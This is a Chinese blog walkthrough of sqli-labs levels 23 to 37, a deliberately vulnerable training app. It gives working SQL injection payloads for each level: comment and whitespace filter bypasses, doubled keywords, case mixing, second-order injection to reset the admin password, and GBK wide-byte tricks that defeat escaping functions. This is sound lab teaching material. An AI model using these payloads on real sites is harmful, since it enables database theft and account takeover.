第九篇 sqli-lab实战练习(Less23-Less37)

2022/4/4 19:20:33

本文主要是介绍第九篇 sqli-lab实战练习(Less23-Less37),对大家解决编程问题具有一定的参考价值,需要的程序猿们随着小编来一起学习吧!

Less-23 基于错误去除注释

  • 目标
1. 学会使用;%00注入绕过

;%00: 分号之前的语句会被执行,%00是空格,可以绕过检测

输入:http://www.sqllabs.com:7080/Less-23/?id=1' 发现报错

image

在使用 # 或者 --+ 进行注入的时候,发现还是报错,分析源码,发现对这两种符号进行了替换

image

输入:http://www.sqllabs.com:7080/Less-23/?id=1; 页面正常的返回

image

获取其他数据库信息,可以参考之前的,示例:http://www.sqllabs.com:7080/Less-23/?id=-1' union select 1, 2,database();%00 获取当前的数据库

image

Less-24 二阶注入

  • 目标
1. 了解二阶注入
2. 使用二阶注入修改admin用户密码

二阶注入

指的是无法直接注入,指已存储(数据库、文件)的用户输入被读取后再次进入到 SQL 查询语句中导致的注入


与普通注入的区别
	
	普通注入:
	1)在http后面构造语句,是立即直接生效的
	2)可以通过工具快速扫描到
	
	二阶注入:
	1)第一次需要构造恶意语句,存入数据库
	2)第二次http请求通过对数据库里恶意的语句进行检索,来构造SQL语句
	3)很难通过工具扫描到
	

在登陆成功之后,发现进入了重置密码的页面

我们注册新的用户,username=admin'#,password=123456

image

因为在进行重新密码的时候,username=admin'# 后面的语句都被注释,导致我们可以直接修改原来admin的密码,操作成功之后,就可以使用自己设置的密码登陆admin账户了

Less-25 基于错误的双写or&and

  • 目标
学会使用 or&and 的过滤注入
  1. or的绕过

在输入:http://www.sqllabs.com:7080/Less-25/?id=1' order by 3 --+

image

发现order变成了der,说明or被替换了,通过双写or,成功注入:http://www.sqllabs.com:7080/Less-25/?id=1' oorrder by 3 --+

image

  1. and的绕过

输入:http://www.sqllabs.com:7080/Less-25/?id=1' and UpdateXml(1,concat(1,database(),1),1) --+ ,从报错信息来看,发现and已经被过滤了

image

所以需要对and进行一定的改造:http://www.sqllabs.com:7080/Less-25/?id=1' anandd UpdateXml(1,concat(1,database(),1),1) --+,成功的获取数据库信息

image

对于or&and的绕过,还可以使用符号的方式: || 和 &&, GET请求需要进行URL编码,比如:http://www.sqllabs.com:7080/Less-25/?id=1' %26%26 UpdateXml(1,concat(1,database(),1),1) --+

Less-26 基于错误的去除空格和注释

  • 目标
学会对常用url编码符号的注入

常用的URL编码

%09 TAB 键(水平)
%0a 新建一行
%0b TAB 键(垂直)
%0c 新的一页
%0d return 功能
%a0 空格

输入:http://www.sqllabs.com:7080/Less-26/?id=1' 报错,说明单引号注入

image

输入:http://www.sqllabs.com:7080/Less-26/?id=1' order by 3

image

说明对常用的注入进行了替换,比如:or、空格等

输入:http://www.sqllabs.com:7080/Less-26/?id=1' oorrder %a0 by %a0 3 --+ 或者使用 注释符 # 都发生了报错,说明也对常见的注释符进行了替换

image

可以查看一下源码,确实都做了替换

image

输入:http://www.sqllabs.com:7080/Less-26/?id=1' oorrder %a0 by %a0 3 ;%00 发现正常返回了

获取数据库库名:http://www.sqllabs.com:7080/Less-26/?id=0'union %a0 select %a0 1,2,database() ;%00

image

Less-26a 基于盲注空格/注释/单引号/小括号

和 Less-26一样,注释符和空格都被替换了

输入:http://www.sqllabs.com:7080/Less-26a/?id=1' 页面没有正常返回,说明存在单引号注入
输入:http://www.sqllabs.com:7080/Less-26a/?id=1' ;%00 页面也没有正常返回,尝试添加括号:http://www.sqllabs.com:7080/Less-26a/?id=1') ;%00, 这是页面正常返回了

image

其他都和Less-26一样了

Less-27 基于错误的UNION&SELECT字符串单引号

  • 目标
使用大小写绕过

输入:http://www.sqllabs.com:7080/Less-27/?id=1' union select 1,2,database()

发现union和select都被替换了,同时空格、注释符也被替换了

image

尝试使用大小写组合来绕过:http://www.sqllabs.com:7080/Less-27/?id=0' UnioN %a0 SelecT %a01,2,database() ;%00

image

Less-27a & Less-28

和Less27差不多

Less-27a 将 Less-27的单引号改为双引号
Less-28 将Less-27的单引号改为 ')

Less-29 基于错误WAF注入

直接注入,示例:http://www.sqllabs.com:7080/Less-29/?id=0' union select 1,2,database() --+

image

Less-30 基于盲注WAF注入

直接注入:http://www.sqllabs.com:7080/Less-30/?id=0" union select 1,2,database() --+

image

Less-31 基于盲注WAF注入

不知道是不是安装版本的问题,发现这两个题目是一样的

image

直接注入:http://www.sqllabs.com:7080/Less-31/?id=0") union select 1,2,database() --+

image

Less-32 危险字符\宽字节注入

  • 目标
学习宽字节注入

宽字节是相对ascii单字节而言的,比如GBK,一个GBK编码汉子,占用两个字节

输入:http://www.sqllabs.com:7080/Less-32/?id=1' 发现被添加了反斜杠,改为"也一样

image

尝试宽字节注入:%df%27

输入:http://www.sqllabs.com:7080/Less-32/?id=0%df%27 union select 1,2,database() --+

image

Less-33 addslashes函数宽字节注入

addslashes():对输入字符串中的某些预定义字符前添加反斜杠

和Less-32一样,输入示例:

http://www.sqllabs.com:7080/Less-33/?id=-1%df%27 union select 1,2,database() --+

image

Less-34 POST-addslashes函数宽字节注入

在GET提交参数的时候,会进行urlencode,那么在进行POST请求的时候,就需要进行编码转换,比如%df 转为utf-16: �,要不然注入的时候会报错误

获取列数,输入:

uname=admin&passwd=123456 �' order by 3#

会发生报错,说明只存在两列

image

获取数据库名

uname=admin&passwd=123456 �' union select 1, database()#

image

Less-35 整型绕过addslashes()

在输入:http://www.sqllabs.com:7080/Less-35/?id=1', 发现自动带上了\

image

在输入:http://www.sqllabs.com:7080/Less-35/?id=0 or 1=1

发现正常返回,说明是整型的宽子节注入

输入:http://www.sqllabs.com:7080/Less-35/?id=0 union select 1, 2, database() #, 能正确获取到数据库的信息

image

Less-36 GET-绕过MYSQL_real_escape_string注入

  • 目标
了解mysql_real_escape_string

mysql_real_escape_string转义SQL语句中的特殊字符,受影响的字符有:

\x00
\n
\r
\
'
"
\x1

说明在注入的时候,不能仅仅只是通过',"等着来进行注入,但是我们仍然可以采用宽字节注入的方式

输入:

http://www.sqllabs.com:7080/Less-36/?id=-1%df%27 union select 1,2,database()  --+

获取到数据库信息

image

Less-37 POST-绕过MYSQL_real_escape_string注入

和Less-34一样,也是需要对宽字节进行一下转码

输入:

uname=admin&passwd=1�' union select 1, database()#

image



这篇关于第九篇 sqli-lab实战练习(Less23-Less37)的文章就介绍到这儿,希望我们推荐的文章对大家有所帮助,也希望大家多多支持为之网!


扫一扫关注最新编程教程